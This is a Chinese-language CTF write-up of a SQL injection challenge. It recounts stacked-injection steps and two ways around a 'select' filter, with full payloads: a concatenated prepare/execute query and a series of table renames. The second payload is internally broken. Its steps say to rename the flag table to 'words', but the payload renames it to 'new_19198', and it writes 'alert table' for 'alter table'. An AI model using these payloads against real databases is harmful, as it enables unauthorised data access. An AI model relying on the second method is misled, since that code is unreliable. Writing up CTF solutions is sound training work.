打开题目,故名思意,是一道sql注入的题目
先判断是单引号闭合还是双引号闭合
输入一个 ’ 发现报错了
说明是单引号闭合
再判断他所在的数据库有几列
正常回显了
报错了
得出列数为2
一开始是想尝试union注入
可惜被过滤了 select
没了selcet,报错注入也只能看到一些简单的信息,无法得出flag
于是想到了堆叠注入
堆叠注入就是多条sql语句一起执行,就是一次执行多条命令
直接查表名
再分别查一下表下面的字段
这里要注意的是表名前后要加反引号!!!
由以上的查询结果可以得知flag在1919810931114514表的flag字段
由于过滤掉了select无法直接获取字段内容
所以可以采用下面几种方式去绕过
1.预编译
预编译相关语法如下:
1.set用于设置变量名和值
2.prepare用于预备一个语句,并赋予名称,以后可以引用该语句
3.execute执行语句
4.deallocate prepare用来释放掉预处理的语句
就可以构造出我们的payload:0\';set @q=concat("sel","ect flag from `1919810931114514`");prepare 111 from @q;execute 111;#
但是又报错了
但是这里的strstr函数是不能区分大小写的,所以可以通过改变大小写来绕过
更新后的payload:0\';Set @q=concat("sel","ect flag from `1919810931114514`");Prepare a from @q;execute a;#
成功得到flag
2.
1.将words表改名为word1或其它任意名字 : rename table words to new_word;
2.1919810931114514改名为words : rename table 1919810931114514 to new_19198;
3.将新的word表插入一列,列名为id : alter table new_19198 add id int unsigned not Null auto_increment primary key;
4.将flag列改名为data : alert table new_19198 change flag data varchar(100);
payload:1’;rename table words to new_word;rename table 1919810931114514 to new_19198;alter table new_19198 add id int unsigned not Null auto_increment primary key; alert table new_19198 change flag data varchar(100);#